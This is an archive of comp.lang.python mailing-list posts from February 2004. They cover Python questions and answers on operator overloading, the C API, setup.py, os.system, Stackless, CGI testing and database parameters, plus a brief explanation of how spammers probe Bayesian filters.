In-Reply-To: <692feddd.0402020252.7c1abcb@posting.google.com>
References: <692feddd.0402020252.7c1abcb@posting.google.com>
Message-ID: <bvlcnc$to62d$1@ID-198792.news.uni-berlin.de>

Equis Uno said the following on 02/02/2004 11:52 AM:
> Hi there,
> 
> I just figured out how to use __add__() to overload the "+" operator
> for objects of a class.
> 
> According to googel queries, I see other functions available to me for
> overloading other operators:
> 
> __mul__(), __sub__(), ...
> 
> I was hoping to overload "=" or use some string to do assignment with
> side effects.
> 
> For example,
> 
> obj1 = ClassX('green')
> obj2 = ClassX('red')
> 
> obj1 superEqual obj2
> 
> I'd like to be able to control the behavior of the superEqual operator
> such that it does assignment with side effects.
> 
> For example, maybe it would do this:
> 
> obj = obj2
> incrementEqualityCounter()
> addAuditRecordToDB()
> 
> How do I do this in Python?

Overloading operators is explained in 
http://python.org/doc/2.3.3/lib/module-operator.html#l2h-490

Maybe you are looking for __eq__? After overloading it, you may
say:
if obj1 == obj2:
   ...
 From what you wrote I think you want to overload the assign operator 
(single =) . This is not supported in Python directly, but you may take 
a look at descriptors:
http://users.rcn.com/python/download/Descriptor.htm

Regards
Mirko
-- 


From ajole-1 at gci.net  Fri Feb 13 06:31:11 2004
From: ajole-1 at gci.net (Patrick Stinson)
Date: Fri, 13 Feb 2004 02:31:11 -0900
Subject: C API: NULL tstate
Message-ID: <102pdiffq7gqka9@corp.supernews.com>

I am using sip to generate python bindings for my c++ library. sip is also 
used to generate python bindings for the Qt Gui toolkit. The PyEval_*Thread 
and PyThreadState_* seem to end up with a NULL tstate parameter at different 
points of execution when I start instantiating more complicated sip-wrapped 
widget classes along with my own multi-threaded library. At one point, I 
moved the thread creation code into python (by causing it to simply call a 
method in my library to execute the thread), and it helped a bit. 

I'm obviously not looking for help with sip, but it would be nice to get a 
general overview of what conditions cause a NULL tstate to be passed to
these 
functions. I've posted a few messages on the sip mailing list about this,
but 
the problem seems a little too biased toward the scope of this list for any 
of them to answer. 

Cheers!


From maxm at mxm.dk  Sun Feb 22 15:20:46 2004
From: maxm at mxm.dk (Max M)
Date: Sun, 22 Feb 2004 21:20:46 +0100
Subject: Random from Dictionary
In-Reply-To: <slrnc3i13d.p1e.klausman-un0204@eric.schwarzvogel.de>
References: <mailman.1003699822.11327.python-list@python.org>
	<slrnc3i13d.p1e.klausman-un0204@eric.schwarzvogel.de>
Message-ID: <40390F1E.5080404@mxm.dk>

Tobias Klausmann wrote:

> Still, it doesn't quite satisfy me. While I have a strong belief
> in its correctness, I'd be glad if others think so, too :)
> 
> Better yet, a faster and proven way to do this would be even
> nicer.


This class might work...


regards Max M

#################################

from random import random
from bisect import bisect


class Selector:

     "Returns random elements by probability according to their frequency"

     def __init__(self, frequencies, elements):
         self.sum = sum(frequencies)
         acumulated_frequencies = []
         acumulated_frequency = 0
         for frequency in frequencies:
             acumulated_frequency += frequency
             acumulated_frequencies.append(acumulated_frequency)
         self.decorated = zip(acumulated_frequencies, elements)
         self.decorated.sort()

     def get(self):
         "Randomly returns an element by probability"
         rnd = random() * self.sum
         index = bisect(self.decorated, (rnd, 0))
         return self.decorated[index][-1]

     def get_range(self, n):
         "Randomly returns a range of elements by probability"
         return [self.get() for itm in xrange(n)]





From Holger.Joukl at LBBW.de  Thu Feb 19 06:21:49 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Thu, 19 Feb 2004 12:21:49 +0100
Subject: python 2.3.3 setup.py: why adding sys.prefix to include_dir, libdir?
Message-ID: <OF3D1E4F86.4CD36015-ONC1256E3F.003A2C9B@lbbw.sko.de>

Hi there,
2 questions regarding build/installation issues:

1. In the python 2.3.3 setup.py script, the detect_modules method of
class PyBuildExt contains the following code:

253         if os.path.normpath(sys.prefix) != '/usr':
254             add_dir_to_list(self.compiler.library_dirs,
255                             sysconfig.get_config_var("LIBDIR"))
256             add_dir_to_list(self.compiler.include_dirs,
257                             sysconfig.get_config_var("INCLUDEDIR"))

This basically just adds the PREFIX/lib and PREFIX/include to
self.compiler.library_dirs
and self.include_dirs, PREFIX being what I gave to configure as command
line argument, e.g.:
./configure --prefix=/opt/tools --with-cxx=gcc

I understand the --prefix=PREFIX sets the installation _target_ directory.
Does it make sense to have these paths in include_dirs/library_dirs? Why
would I want this?
In fact, as it turned out that I had some bogus header files in the PREFIX
directory, an
extension module would not compile.

2. As a lot of things do not live in the "standard" places in our
environment, there seem to be several
places where I have to change setup.py manually. E.g. adding runtime
library dirs for curses, gdbm etc.
Is there another way to achieve correct build, in terms of telling my
non-standard paths to configure
in the first place? Just to spare me from changing setup.py...

Any comments are appreciated.
Best regards
  Holger

_________________________________

Holger Joukl
Landesbank Baden-W?rttemberg
1651 Financial Markets Technologies
fon +49 (711) 124 - 7078
fax +49 (711) 124 - 3759
_________________________________

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request a hard copy version.






From chris-usenet at hedonism.cx  Wed Feb 25 17:05:47 2004
From: chris-usenet at hedonism.cx (Christian Vogel)
Date: Wed, 25 Feb 2004 23:05:47 +0100
Subject: Python/C: unsigned Py_BuildValue, PyInt_FromLong
References: <c1iqr9$1is69j$1@uni-berlin.de>
	<mailman.134.1077742100.8594.python-list@python.org>
Message-ID: <c1j67s$1iop59$1@ID-101457.news.uni-berlin.de>

Mike C. Fletcher wrote:
>     PyLong_FromUnsignedLong
>     http://www.python.org/doc/2.3.3/api/longObjects.html
> Unsigned ints can be longer than Python 32-bit signed integers, so
> either do a check for the high-bit being set and use
> PyLong_FromUnsignedLong for that case and PyInt_FromLong otherwise, or
> just always use PyLong_FromUnsignedLong and eat the slight performance
> penalty of having longs everywhere.

Yes, now that you mention it, it's clear to me. Thanks for your help!

        Chris



From jon_couchman at hotmail.com  Wed Feb 11 04:47:28 2004
From: jon_couchman at hotmail.com (jon c)
Date: Wed, 11 Feb 2004 09:47:28 +0000
Subject: problem running long commands with os.system()
Message-ID: <Law11-F96TjO7IMrxXf00025c76@hotmail.com>

does anyone know a quick solution to the following problem (I know it's not 
directly python related)

I am running on windows 2000 (yuk) and using python 2.3.2

i run the command os.system(cmd) where cmd is a very long string.

i get the error

"The following character string is too long:"

followed by some of my character string.

Can i run these commands in some cunning way?

_________________________________________________________________
Find a cheaper internet access deal - choose one to suit you. 
http://www.msn.co.uk/internetaccess




From gerrit at nl.linux.org  Mon Feb 23 15:20:57 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 23 Feb 2004 21:20:57 +0100
Subject: Gripe: Use Ctrl-D (i.e. EOF) to exit
In-Reply-To: <c1dms2$l8b$1@sea.gmane.org>
References: <c1dms2$l8b$1@sea.gmane.org>
Message-ID: <20040223202057.GA9644@nl.linux.org>

Mike Maxwell wrote:
> <vent> I see there has been traffic over the years on this gripe, so just
> let me vent my frustration, and add another reason why 'exit' (or possibly
> exit() or quit() or halt() or some such) should exit Python, rather than
> giving the ridiculous msg

> Why isn't there a command or function to drop out of Python??!!  Obviously
> Python is clever enough to know that you want to exit when you type 'exit';
> why does it make you stand on your head to do so?

You can put in your .pythonrc:

from sys import exit

It helps!

Gerrit.

-- 
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From williamichang at hotmail.com  Fri Feb 13 03:33:12 2004
From: williamichang at hotmail.com (William Chang)
Date: 13 Feb 2004 00:33:12 -0800
Subject: Async Client with 1K connections?
References: <65779ce6.0402092357.73df9783@posting.google.com>
	<zeWdnXYoFaHsSbTd4p2dnA@comcast.com>
	<7xk72tsbvg.fsf@ruckus.brouhaha.com>
Message-ID: <65779ce6.0402130033.23aa0b0d@posting.google.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
> "William Chang" <williamichang at hotmail.com> writes:
> > ...  Throughput per PC would be on
> > the order of 1MB/s assuming 200x5KB downloads/sec using 1-2000
> > simultaneous connections.  (That's 17M pages per day per PC.)
> 
> That's orders of magnitude less than you-know-who.  

Do you know how frequently you-know-who refreshes its entire index?  A year
ago things were pretty dire, easily over 10% dead links, if I recall correctly.
10 PCs at 17M/day each will refresh 3B pages in 18 days, easily world-class.

> ... Also, don't forget
> how many queries you have to take from users, and the amount of disk seeks
> needed for each one.

Sure, that's what I do.  However, spidering and querying are independent tasks,
generally speaking.

> 10 MB of internet connectivity is at least a few K$/month all by itself.

Yes, $2500 to be specific.

There's no reason to be intimidated (if I may use that word) by you-know-who's
marketing message (80,000 machines).  Back in '96 Infoseek could handle 10M
queries per day on a single Sun E4000 with 8CPU (<200Mhz), 4GB, 20x4GB RAID.
Sure the WWW is much bigger now, but so are the disk drives!

-- William


From robin at jessikat.fsnet.co.uk  Thu Feb  5 17:46:52 2004
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Thu, 5 Feb 2004 22:46:52 +0000
Subject: spam classification breaker
References: <zkNtOLAjhgIAFweW@jessikat.fsnet.co.uk>
	<mailman.1245.1075996814.12720.python-list@python.org>
Message-ID: <KYSjxUAcfsIAFwax@jessikat.fsnet.co.uk>

In article <mailman.1245.1075996814.12720.python-list at python.org>, Tim
Peters <tim.one at comcast.net> writes
..
....
>tomatically.
>
>If I'm a spammer trying to get my pitches seen by you, and you're using a
>personal Bayesian classifier, then I need to load my pitches with words that
>are very hammy to you.  If I don't have access to your personal training
>data (if I do, I already own your machine ...), then I need to *deduce*
>what's hammy to you.  One way to do that is, as John Graham-Cumming noted
>here, is for me to send you thousands of messages with different piles of
>words, and note which ones did and didn't get caught by your filter.   Then
>I load my sales pitches with words from the ones that your filter didn't
>reject, and avoid words from ones your filter did reject.  In order to do
>that, I have to know which messages you did and didn't look at.  That's the
>purpose of the HTML "web bug"/"web beacon"s in the thousands of test
>messages.  (If your email client renders HTML pages, including fetching
>images off the net, a spammer can know when you've rendered their message,
>by, e.g., embedding your email address as a parameter in a URL that fetches
>a .jpg to display.)
.... are you asserting that spammers don't have access to the pdf that
users are filtering? Each filter may be unique, but they can be biassed.
-- 
Robin Becker


From tismer at stackless.com  Thu Feb 26 11:38:13 2004
From: tismer at stackless.com (Christian Tismer)
Date: Thu, 26 Feb 2004 17:38:13 +0100
Subject: xmlprclib/server not reusing connections
In-Reply-To: <004201c3fc47$d2b39d50$3501a8c0@rogersqyvr14d3>
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com>	<mailman.24.1077596109.8594.python-list@python.org>
	<tn5rg1-986.ln1@home.rogerbinns.com>
	<403BF010.2020409@stackless.com>
	<007601c3fb46$f917b9b0$3501a8c0@rogersqyvr14d3>
	<403C1159.8090806@stackless.com>
	<004201c3fc47$d2b39d50$3501a8c0@rogersqyvr14d3>
Message-ID: <403E20F5.3050003@stackless.com>

Roger Binns wrote:

>>It works just *great* with wxPython. There are a few objects
>>which need a little care since they only live on the C stack
>>(mouse events for instance),
> 
> 
> I don't understand how that is relevant.  Do I have to recompile
> wxPython to use stackless?  You also didn't mention anything
> about the other libraries (win32all, pySerial, m2crypto, libusb)

I answered about the stuff I tried. Ok, I forgot win32all,
it works fine, too.

No, wxPython doesn't need to get recompiled, but mouse events
are dead when the stack is moved away, so you have to create
extra objects before handling the event in a different tasklet.

> Also, does stackless work with threads?  I use a seperate
> thread to do serial port stuff, and need to have the user
> interface running at the same time.  The serial port stuff
> consists of reads with 5 second timeouts (the GIL is released
> during the read).

Yes it does. At the moment, threads are just ignored, and each
has its independent list of tasklets. This si going to change, since
I will write channels for inter-thread communication, and tasklets
which are nomading across threads.

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer at stackless.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  mobile +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From jepler at unpythonic.net  Wed Feb 18 20:41:03 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Wed, 18 Feb 2004 19:41:03 -0600
Subject: Python Virtual Machine Reference
In-Reply-To: <VyRYb.25570$Ob7.3577@newssvr27.news.prodigy.com>
References: <TKOYb.2538$Po1.1716@twister.tampabay.rr.com>
	<VyRYb.25570$Ob7.3577@newssvr27.news.prodigy.com>
Message-ID: <20040219014103.GD11071@unpythonic.net>

On Wed, Feb 18, 2004 at 10:20:37PM +0000, Dave Kuhlman wrote:
> But, I don't understand what the connection is between the AST
> (abstract syntax tree) and the byte code interpreter's op-codes.
> Maybe someone else can explain that.  Perhaps the real Python
> compiler does not use the AST.

The parser transforms the string of tokens into an AST, and then
generates bytecode by traversing the AST.  After bytecode generation,
the AST is discarded.

The numeric values for nodes in the AST are subject to change between
releases.  The numbers for the AST nodes for tokens are chosen manually,
and the numbers for productions (stmt, expr_stmt, atom, etc) are a
consequence of the order of appearance in the Grammar file.

Like the bytecode, the AST is really an implementation detail of
cpython.

Jeff



From fred.mailhot at videotron.ca  Tue Feb 17 14:54:12 2004
From: fred.mailhot at videotron.ca (Fred Mailhot)
Date: Tue, 17 Feb 2004 11:54:12 -0800
Subject: Compiling python scripts to native code ??
References: <BC5784A3.10B0C%fred.mailhot@videotron.ca>
	<pan.2004.02.17.15.25.44.525912@thomas-guettler.de>
Message-ID: <BC57B164.10C3B%fred.mailhot@videotron.ca>


On 2/17/04 7:25 AM, "Thomas Guettler" <guettli at thomas-guettler.de> wrote:

> Am Tue, 17 Feb 2004 08:43:15 -0800 schrieb Fred Mailhot:
> 
>> Hi...
>> 
>> Is there any way to do this for *nix ?? Pointers to resources and/or FAQS
>> would be much appreciated.
> 
> Why do you want to do this?
> - Improve speed
> - hide your source code
> ...
> 
> thomas

Nothing quite so nefarious...*grin*...Actually, I've just realized that the
initial question wasn't posed properly.

What I want is to be able to compile Python scripts so that they can be run
on a system that doesn't have Python installed. I realize that maybe that
doesn't make a lot of sense, but I want my product to be as widely
distributable as possible.


Thanks again,

Fred.



From peter at engcorp.com  Mon Feb 16 09:36:34 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 16 Feb 2004 09:36:34 -0500
Subject: Where to download Mark Fletcher's ResourcePackage?
References: <y43Yb.236853$rj7.1533430@twister.tampabay.rr.com>
	<Ag3Yb.236856$rj7.1534561@twister.tampabay.rr.com>
Message-ID: <4030D572.E8954625@engcorp.com>

Will wrote:
> 
> OK... I found it...
> 
> Duh... it was only right there in front of my face :(
> 
> Gusess I took the wrong fork in the road when I decided to get out of bed
> this morning :)
> 
> Have a good day folks.

Great you found it.  Note also that it is "Mike Fletcher", not Mark...

-Peter


From jacob at cd.chalmers.se  Mon Feb 23 11:41:16 2004
From: jacob at cd.chalmers.se (Jacob Hallen)
Date: 23 Feb 2004 16:41:16 GMT
Subject: Tutorials at Europython questionaire
Message-ID: <mailman.1077561243.16661.clpa-moderators@python.org>

The organising committee for Europython is currently busy planning
this years conference, which will run in G?teborg, Sweden, 7-9 June
2004.

To help us serve the community in the best way possible, we need your
input on what you think we should do in the way of tutorials.

Please send this questionare filled in to "europython at python dot org".

1. Are you likely to attend Europython?

Yes/No/Only if there are tutorials I'd like to go to.

2. What topics would you be interested in? How much would you be ready
to pay for such a tutorial?

3. When would it be most suitable for you to participate in a tutorial?
Please rank the alternatives.
a. Friday 4 June
b. Saturday 5 June
c. Sunday 6 June
d. During the conference
e. When it doesn't conflict with my Sprint
f. Thursday 10 June

4. Would you be willing to give a tutorial?  On what subject(s)?

5. Is there any other input you would like to give us?

For the Europython team

Jacob Hall?n
Head organiser

More information about Europython will shortly be available at
http://www.europython.org
-- 



From kak at purdue.edu  Tue Feb 17 00:20:42 2004
From: kak at purdue.edu (Avi Kak)
Date: Tue, 17 Feb 2004 05:20:42 GMT
Subject: keyword that stops further processing of a Python script
Message-ID: <2c83305ajs1vgqt65oo97t15b82grqjd7u@4ax.com>



Hello:

  Does Python provide a token like Perl's __END__
  that would mark the logical end of a Python script 
  which could occur before the actual end of the file. 

  I have found Perl's __END__ token to be very useful 
  for debugging scripts.  So I was wondering if
  Python provided a similar facility.

Avi Kak 


From me at privacy.net  Mon Feb  2 09:42:06 2004
From: me at privacy.net (Duncan Booth)
Date: 2 Feb 2004 14:42:06 GMT
Subject: Add PayFlow Pro wrapper to standard library?
References: <mailman.1127.1075730146.12720.python-list@python.org>
Message-ID: <Xns9483958555254duncanrcpcouk@127.0.0.1>

Mark McEahern <mark at mceahern.com> wrote in 
news:mailman.1127.1075730146.12720.python-list at python.org:

> What I imagine is there would be a pure Python module that provides a
> high level interface to process transactions like this:
> 
>   import pfpro
>   result = pfpro.process(details)
> 
> This will then use a C wrapper to call the PayFlow Pro dynamic library.
> 
> The Python wrapper would also support using the context functions:
> 
>   import pfpro
>   context = pfpro.context(details)
>   for tx in transactions:
>     tx.result = context.process(tx.details)
>   
>   # context's __del__ could handle destroying itself, etc.
> 
> What's the next step?  I don't know since I've never been involved in
> adding anything to the standard library.

First off, forget about adding it to the standard library until a long way 
down the line, if at all. This sounds like a useful but specialised module, 
so it doesn't need to be shipped as standard.

Next, I suggest you have a look at Greg Ewing's Pyrex, which is a language 
specifically for writing Python Extension modules. This should make your 
life much easier than handling the C api directly. (There are plenty of 
other options, but I prefer Pyrex).

Pyrex should make it easy for you to define an appropriate context type 
directly in your extension module. This is probably a better solution than 
trying to put a Python wrapper around a set of procedures as it means you 
can control access to the C functions much more tightly.


From rainerd at eldwood.com  Sat Feb 28 19:37:06 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Sun, 29 Feb 2004 00:37:06 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<La50c.431948$na.1038396@attbi_s04>
	<ed60c.6276$qX5.4295@nwrdny03.gnilink.net>
Message-ID: <Sua0c.144636$uV3.677101@attbi_s51>

Chris wrote:
> I'm looking for a way to do this without explicity definining every
> emulation method, i.e. (__str__, __lt__, __le__, __eq__, __ne__,
> __gt__, __ge__, __len__, __getitem__, __add__, __sub__, __mul__,
> __floordiv__, __mod__, __divmod__, __pow__, __lshift__, ... ad
> nausuem).

You can get away with mentioning all of those names only once in your code.

class IndirectionMixins(object):
  pass

def add_indirection_method(name):
  def f(self, *args, **kwargs):
    return self.__getattr__(name)(*args, **kwargs)
  setattr(IndirectionMixins, name, f)

for name in ['__str__', '__lt__', ...]:
  add_indirection_method(name)

class Y(IndirectionMixins):
  ...

>  Plus, there's a few this isn't going to work for several
> of the the arithmetic operators, such as when I want to have __add__
> undefined so Python will attpemt __radd__.

That's harder.  It might be possible with metaclasses.


-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From beliavsky at aol.com  Fri Feb 20 11:01:37 2004
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 20 Feb 2004 08:01:37 -0800
Subject: Class for Time Series Data
References: <420ced91.0402191804.49a5d91f@posting.google.com>
Message-ID: <3064b51d.0402200801.6e58c34b@posting.google.com>

sdhyok at yahoo.com (sdhyok) wrote in message news:<420ced91.0402191804.49a5d91f at posting.google.com>...
> Hi, I am trying to build up a system handling time series data a lot.
> Do you know any well-designed python class specially for time series data?
> Thanks in advance.
> 
> Shin, Daehyok

I use a 1-D Numeric array to store the data of a time series. What is
missing in the Numeric array that you want? It is easy to write Python
functions to compute things like the autocorrelation function or the
coefficients of an autoregressive model, using the features of Numeric
and the accompanying LinearAlgebra module, which can fit regressions
via least squares.


From aahz at pythoncraft.com  Sun Feb  1 22:36:21 2004
From: aahz at pythoncraft.com (Aahz)
Date: 1 Feb 2004 22:36:21 -0500
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
	<bvic0i$bbt$1@panix1.panix.com>
	<7xk736s7av.fsf@ruckus.brouhaha.com>
Message-ID: <bvkgjl$1r1$1@panix1.panix.com>

In article <7xk736s7av.fsf at ruckus.brouhaha.com>,
Paul Rubin  <http://phr.cx at NOSPAM.invalid> wrote:
>aahz at pythoncraft.com (Aahz) writes:
>>
>> Much as I'm loathe to mention it, you might might also want to take a
>> look at LiveJournal to see how they do it.
>
>But LiveJournal is another one of those sites that slows to a crawl
>when loaded.  I want to know how the FAST sites do it.

Considering just how loaded it needs to be before slowing down, and
considering how much processing LJ needs to do to display each page, I'd
have to say that it's pretty damn fast and you can probably learn a lot
from its design.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From donn at u.washington.edu  Mon Feb  9 12:22:45 2004
From: donn at u.washington.edu (Donn Cave)
Date: Mon, 09 Feb 2004 09:22:45 -0800
Subject: stat doesn't work!
References: <c08bdn$fq6$1@sunnews.cern.ch>
Message-ID: <donn-9EEFD8.09224509022004@nntp4.u.washington.edu>

In article <c08bdn$fq6$1 at sunnews.cern.ch>,
 Paulo Pinto <paulo.pinto at cern.ch> wrote:
> I am doing an application that needs to
> know when it is manipulating symbolic links.

That's a special case, and therefore you have
to use a special version of stat().  stat()
will follow the link, so you get the original
file.  lstat() will report the link itself.

   Donn Cave, donn at u.washington.edu


From shoot at the.moon  Mon Feb  9 15:45:55 2004
From: shoot at the.moon (Steve Horsley)
Date: Mon, 09 Feb 2004 20:45:55 +0000
Subject: Had Phyton suggested
In-Reply-To: <ZWuVb.246007$I06.2735974@attbi_s01>
References: <4026488d$0$95048$edfadb0f@dread11.news.tele.dk>
	<c05k7b$ndl$1@news.freedom2surf.net>
	<ZWuVb.246007$I06.2735974@attbi_s01>
Message-ID: <c08rgo$pf9$1@news.freedom2surf.net>

djw wrote:
> Steve Horsley wrote:
> 
>> P.C. wrote:
>>
>>> Hi
>>>
>>> My son like many youngsters been around computers, fast online games, he
>>> acturly for main part learned to read and write ,beside his second 
>>> language
>>> english , and may I say he is quite good at it age 15 ,  but as some 
>>> of you
>>> know, 3D games also offer edditors and script options , or rather
>>> programming choppers and dust clouds in scenes.
>>> Now beside my bad english, my problem is, that I like him to learn 
>>> decent
>>> programming ------- sure I know the best way to learn is looking at 
>>> source
>>> code and change a bit here or there to se the actural results, but 
>>> with his
>>> knowleage about programming he proberly fail to se how functions work 
>>> and
>>> even he made some quite nice effects in the scenes in "Operation 
>>> falshpoint
>>> resistance" , I just know that he would profit from learning from 
>>> buttom up,
>>> a real programming language.
>>> Now from an old friend I been advised Phyton, and as I know a bit about
>>> programming ( Lisp ) , I agrea after checking a few links ; guess 
>>> Phyton is
>>> very much C++ like ,so investing in his interests programming scenes for
>>> games, could be in his faviour .
>>> Now I agrea that my own knowleage about compilers and more advanced
>>> programming are limited, and my fear is that I will need some sort of C.
>>> compiler causing day's and weeks of trouble setting up ------- or 
>>> what do
>>> the group think ; my question is, if there today are compilers that 
>>> is set
>>> up and work as simple as for instance the first Pascal compilers .
>>> Well I agrea that my own trouble programming, never been the actural
>>> programming, but all the silli trouble with compilers, as you se 
>>> amatures
>>> don't care if the program spend a bit more memmory ,as long as it 
>>> work and
>>> acturly produce compiled code.
>>> Guess my question is, if it is possible to find a compiler that is 
>>> fit for
>>> amatures, one that an amature will not have to fight before it is 
>>> ready to
>>> use. One where you ,as when I learned programming , don't need to be a
>>> compiler specialist before you even learn programming.
>>>
>>> P.C.
>>>
>>>
>> Python is an interpreted language, not a compiled one. So you don't 
>> need to worry about compilers at all. This makes it a little easier to 
>> get into than compiled languages. I thin python is a very good 
>> introduction to someone who knows nothing about programming.
>>
>> At the risk of making a lot of python fans angry, I would also suggest 
>> that you look at java. This IS a compiled language (although 
>> ironically, the compiled bytecode is interpreted). I suggest this for 
>> a few reasons:
>> * You cannot really avoid thinking in an object-oriented way when 
>> writing java. I suspect that python will allow you to develop some 
>> very nasyt habits.
>> * The java tutorial is massive, and has loads of examples.
>> * I have not seen anything like BlueJ for python. BlueJ is an 
>> excellent beginners IDE with editor, debugger, and a UML-like diagram 
>> that shows how your classes interconnect.
>>
>> Better, learn a little of both languages.
>>
>> Steve
> 
> 
> Angry, no. But I don't think your advice is very sound. First, Python 
> "compiles" to bytecodes much the way Java does. If Java does anything 
> different, it is that it can employ a JIT compiler to speed up the 
> execution of the bytecodes. Second, I disagree that Python will make 
> someone develop "bad habits". Using object oriented programming is not 
> the end-all to all the world's problems. Java forces you into this model 
> at all times, Python doesn't. If anything, I think Java's view of the 
> world is flawed - sometimes objects aren't the answer to a programming 
> problem. For a beginner, having to do all your thinking in objects makes 
> learning the basics harder, in my view. Last, there are plenty of good 
> (if not great) editors for Python. Pushing an editor that includes 
> things as UML is not really very productive for a beginner, and it could 
> be argued it not even very useful for advanced programmers (if your 
> class hierarchy is s complex that you need (live) UML, you probably have 
> too complex of a design.) I do agree with your last sentiment, learn 
> lots of languages, Python, Java, C/C++, etc. and see which one(s) meets 
> your needs best.
> 
> -D
> 

There _is_ a difference in the compilation. With java, you have to 
compile to bytecode before trying to run the program. With python, you 
just run the program. This is because the python interpreter accepts 
text files, whereas the JVM doesn't. e.g.

Python:
edlin myprog.py
python myprog

java:
edlin myprog.java
javac myprog.java
jave myprog

As for not encouraging bad habits, I thought not until I came across a 
34k python script where every variable was global and not one procedure 
accepted any arguments or returned any values. I suspect that the only 
chopping into procedures was to keep the text on the page. I now think 
that a real beginner needs a better push in the right direction.

Steve


From edreamleo at charter.net  Fri Feb 20 17:01:29 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Fri, 20 Feb 2004 16:01:29 -0600
Subject: ANN: Leo 4.1 final
References: <103cd8fp3cbgfb@corp.supernews.com>
	<%mrZb.161010$cM1.29870499@twister.nyc.rr.com>
	<103ct82levl7v76@corp.supernews.com>
Message-ID: <103d0tpih6d11f@corp.supernews.com>

> I'll be posting Steve's own examples on Leo's web site today:

Here it is: http://webpages.charter.net/edreamleo/rstplugin.html

This page is accessible via the link called "The rst plugin" on Leo's home
page.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From dlee at rightnow.com  Tue Feb 10 09:39:09 2004
From: dlee at rightnow.com (Lee, Dustin)
Date: Tue, 10 Feb 2004 07:39:09 -0700
Subject: unit testing CGI scripts?
Message-ID: <D30BE1A2F9109A43BA989E2F5168405604A96DA2@pobox.corp.rightnow.com>

How about testing CGI scripts that access a database (I expect this is the norm)?

I find writing unittests with non-cgi and non-database code very beneficial and pretty straight forward.  I have yet to figure out how to do this with cgi and database coding.  I'm starting to appreciate why pure functional languages (Haskell, etc) really laud the praises of doing "side-effect free" programming.  Of course it's hard conceive of using a database with out actually changing it....

So who out there is doing cgi/db programming and actually testing it?

dustin

-----Original Message-----
From: python-list-bounces+dlee=rightnow.com at python.org
[mailto:python-list-bounces+dlee=rightnow.com at python.org]On Behalf Of
Jim Hefferon
Sent: Tuesday, February 10, 2004 6:00 AM
To: python-list at python.org
Subject: unit testing CGI scripts?


Hello,

Does anyone have suggestions for unit testing CGI scripts?  For
instance, how can I set the FieldStorage to have certain values?
Do I have to go with a dummy FieldStorage class?  And is there a
better way to check the output than to compare the resulting (sometimes
very large) strings?  Changing the HTML slightly means that I have to
edit the tests and that defeats the purpose of the tests, to 
some extent.  I'd greatly appreciate any tips.

Thanks,
Jim
-- 
http://mail.python.org/mailman/listinfo/python-list




From dave at pythonapocrypha.com  Wed Feb 18 16:14:05 2004
From: dave at pythonapocrypha.com (Dave Brueck)
Date: Wed, 18 Feb 2004 14:14:05 -0700
Subject: psycopg NULL
References: <slrnc374qc.1dfn.missive@homer.easthighschool.net><QfydnSPKk5FhBq7d4p2dnA@giganews.com>
	<slrnc37b2c.1dmr.missive@homer.easthighschool.net>
Message-ID: <04b301c3f664$24385560$6401fea9@YODA>

Lee wrote:
> > If it is 'pyformat' (Like MySQLdb), then this might work:
> >
> > curs.execute('INSERT INTO foo (i) VALUES (%s)' , None)
> > curs.execute('INSERT INTO foo (i) VALUES (%d)' , None)
> > curs.execute('INSERT INTO foo (i) VALUES (%i)' , None)
> > conn.commit()
> >
> > note: all I did was replace the %'s with commas
> >
> 
> That gives a syntax error ... but it is close!
> 
> 
> vars = {'i': None, 'x': 2, 'y': 1, 'z': None}
> curs.execute('INSERT INTO foo (i) VALUES (%(i)s)', vars)
> conn.commit()
> 
> 
> With the pyformat paramstyle we need the %(varname)s style.

Lee, I think the following will work as well:

curs.execute('INSERT INTO foo (i) VALUES (%s)', (None,))

(passing in a tuple of arg values)

-Dave



From premshree_python at yahoo.co.in  Wed Feb 11 08:55:03 2004
From: premshree_python at yahoo.co.in (=?iso-8859-1?q?Premshree=20Pillai?=)
Date: Wed, 11 Feb 2004 13:55:03 +0000 (GMT)
Subject: makeExe Modified
Message-ID: <20040211135503.11888.qmail@web8310.mail.in.yahoo.com>

Made a few cosmetic changes to makeExe.py (limited
error handling added).

The modified source is available at
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/266471

-Premshree Pillai
[http://www.qiksearch.com/]

=====
-Premshree
[http://www.qiksearch.com/]

________________________________________________________________________
Yahoo! India Education Special: Study in the UK now.
Go to http://in.specials.yahoo.com/index1.html



From opengeometry at yahoo.ca  Sun Feb 15 00:23:57 2004
From: opengeometry at yahoo.ca (William Park)
Date: 15 Feb 2004 05:23:57 GMT
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
Message-ID: <c0mvpc$18urh0$1@ID-99293.news.uni-berlin.de>

kbass <kbass at midsouth.rr.com> wrote:
> In different articles that I have read, persons have constantly eluded to
> the productivity gains of Python. One person stated that Python's
